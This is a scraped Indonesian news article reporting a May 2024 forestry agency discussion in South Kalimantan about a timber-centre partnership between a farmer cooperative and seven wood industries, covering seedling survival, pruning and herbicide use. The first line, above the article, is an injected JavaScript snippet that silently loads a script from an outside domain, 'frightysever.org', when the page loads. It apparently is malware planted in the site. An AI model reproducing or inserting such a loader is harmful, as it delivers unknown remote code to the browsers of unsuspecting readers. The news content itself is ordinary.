(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kepala Dinas Kehutanan Provinsi Kalsel (Kadishut Kalsel) Fathimatuzzahra memimpin langsung Focus Group Discussion (FGD) Pembahasan Tindak Lanjut Hasil Monitoring dan Evaluasi Pembangunan Sentra Kayu di Kalsel yang dilaksanakan di Kantor Pusat Pemasaran Hasil Hutan (PPHH), Kamis (16/05/2024).
Kadishut Kalsel menyampaikan bahwa diskusi ini merupakan tindak lanjut dari Perjanjian Kerjasama Usaha antara HTR Koperasi Tani Gemah Ripah dengan 7 industri pemegang PBPHH Skala Usaha Besar dalam rangka pembangunan sentra kayu di Areal Persetujuan Pengelolaan Perhutanan Sosial di Kalsel.
“Hasil dari kerjasama HTR Gemah Ripah dengan 7 industri dari PBPHH ini diharapkan dapat turut serta memenuhi kebutuhan sumber bahan baku industri bagi perusahaan yang melakukan kerjasama dan peningkatan ekonomi bagi masyarakat melalui operasionalisasi persetujuan perhutanan sosial dalam hal ini Gapoktanhut HTR Gemah Ripah. Rapat hari ini dalam rangka pembahasan upaya tindak lanjut Hasil Monitoring dan Evaluasi Pembangunan Sentra Kayu Kalsel” kata Fathimatuzzahra.
Baca juga: Jemaah Haji Embarkasi Banjarmasin Wafat di Tanah Suci 4 Orang
Dalam kesempatannya Kasi Iuran dan Penatausahaan Hasil Hutan (IPHH) Dishut Kalsel Irvan menjelaskan hasil kegiatan monitoring dan evaluasi yang telah dilaksanakan pada tanggal 08 Mei 2024 secara bersama-sama pada lokasi HTR Gemah Ripah di Desa Asam – asam Kecamatan Jorong Kabupaten Tanah Laut.
“Kesimpulannya, Hasil dari monitoring dan evaluasi dilapangan kemarin secara bersama-sama ini menyimpulkan bahwa terkini berdasar evaluasi penilaian tim untuk Persentase tumbuh rata-rata pada keseluruhan blok yang dikerjasamakan adalah sebesar 75% dan selanjutnya agar terus diupayakan oleh pelaksana supaya capaian persentase tumbuh dari tanaman sesuai kesepakatan dapat mampu mencapai 100%, dan untuk itu masih diperlukan pemeliharaan tanaman lanjutan secara intensif berupa penyulaman tanaman serta pemeliharaan lanjutannya untuk meningkatkan persentase tumbuh tanaman” kata Irvan.
Lebih lanjut Irvan menjelaskan bahwa agar kegiatan Pruning segera dilakukan di beberapa blok yang belum dilakukan pruning.
“Sehingga tidak menggangu pertumbuhan tanamannya karena apabila percabangan terlalu banyak akan mempengaruhi kualitas dan harga jual di industri, begitu pula terhadap penggunaan herbisida agar lebih diperhatikan lagi dikarena terlihat di beberapa jalur tanaman ada bagian tanaman yang terkena sehingga menjadi agak kekuningan” kata Irvan.
Hasil Focus Group Discussion yang dihadiri oleh 7 industri pemegang izin PBPHH, Pejabat Esselon Dishut Kalsel, KPH Tanah Laut dan UPT Kementerian LHK di Kalsel ini selanjutnya akan ditindak lanjuti oleh kedua belah pihak yang bekerjasama melalui fasilitasi Dinas Kehutanan provinsi Kalimantan Selatan untuk mewujudkan terbangunnya pembangunan sentra kayu di kalimantan selatan. (Kanalkalimantan.com/al)
Reporter: al
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.